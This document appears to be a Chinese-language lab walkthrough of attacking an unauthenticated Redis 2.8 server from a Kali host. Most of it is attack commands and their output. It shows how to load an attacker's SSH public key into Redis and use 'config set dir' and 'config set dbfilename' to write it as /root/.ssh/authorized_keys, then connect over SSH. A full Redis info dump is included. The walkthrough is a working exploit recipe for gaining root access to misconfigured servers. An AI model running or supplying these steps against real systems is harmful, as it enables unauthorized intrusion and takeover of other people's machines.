Redis未授权访问攻击过程
攻击主机：kali
目标主机：centos6.8（10.104.11.178）
Redis版本：2.8
攻击条件：默认配置，未进行认证
攻击步骤详解：
1.Kali攻击主机生成ssh rsa公钥
root@kali:~/.ssh# ls known_hosts root@kali:~/.ssh# ssh-keygen -t rsa
2.将公钥写入key.txt
将第一步生成的公钥写入指定的文件 key.txt
root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt
3.利用redis自身提供的config命令 将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件
root@kali:~/.ssh# cat /root/.ssh/key.txt|/usr/redis/redis-cli -h 10.104.11.178 -x set xxx OK
执行成功
4.Redis连接目标主机
root@kali:~/.ssh# /usr/redis/redis-cli -h 10.104.11.178 -p 6379 10.104.11.178:6379>
连接成功
查看info信息 root@kali:~/.ssh# /usr/redis/redis-cli -h 10.104.11.178 10.104.11.178:6379> info # Server redis_version:2.8.17 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:ee9a5c34b9ec4a26 redis_mode:standalone os:Linux 2.6.32-642.el6.x86_64 x86_64 arch_bits:64 multiplexing_api:epoll gcc_version:4.4.7 process_id:36422 run_id:f02a212c0f7090715b6935319b0b7bb4f83e81f5 tcp_port:6379 uptime_in_seconds:2158 uptime_in_days:0 hz:10 lru_clock:15382406 config_file:/root/redis-2.8.17/redis.conf #redis配置文件 # Clients connected_clients:1 client_longest_output_list:0 client_biggest_input_buf:0 blocked_clients:0 # Memory used_memory:811488 used_memory_human:792.47K used_memory_rss:8441856 used_memory_peak:831456 used_memory_peak_human:811.97K used_memory_lua:33792 mem_fragmentation_ratio:10.40 mem_allocator:jemalloc-3.6.0 # Persistence loading:0 rdb_changes_since_last_save:0 rdb_bgsave_in_progress:0 rdb_last_save_time:1525331028 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:-1 rdb_current_bgsave_time_sec:-1 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok # Stats total_connections_received:8 total_commands_processed:23 instantaneous_ops_per_sec:0 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 evicted_keys:0 keyspace_hits:2 keyspace_misses:0 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:0 # Replication role:master connected_slaves:0 master_repl_offset:0 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0 # CPU used_cpu_sys:2.59 used_cpu_user:1.06 used_cpu_sys_children:0.00 used_cpu_user_children:0.00 # Keyspace db0:keys=1,expires=0,avg_ttl=0
5.修改redis备份路径和保存文件名suthorized_keys
10.104.11.178:6379> config set dir /root/.ssh OK 10.104.11.178:6379> config get dir 1) "dir" 2) "/root/.ssh" 10.104.11.178:6379> config set dbfilename authorized_keys OK
查看info信息
6.接下来进入ssh连接
root@kali:~/.ssh# ssh [email protected] -p 22 -i ~/.ssh/id_rsa Last login: Wed May 2 23:41:47 2018 from 10.104.10.97
注：全部执行成功，远程ssh登录仍需要密码原因在于：10.104.11.178目标主机配置文件未开启key登录
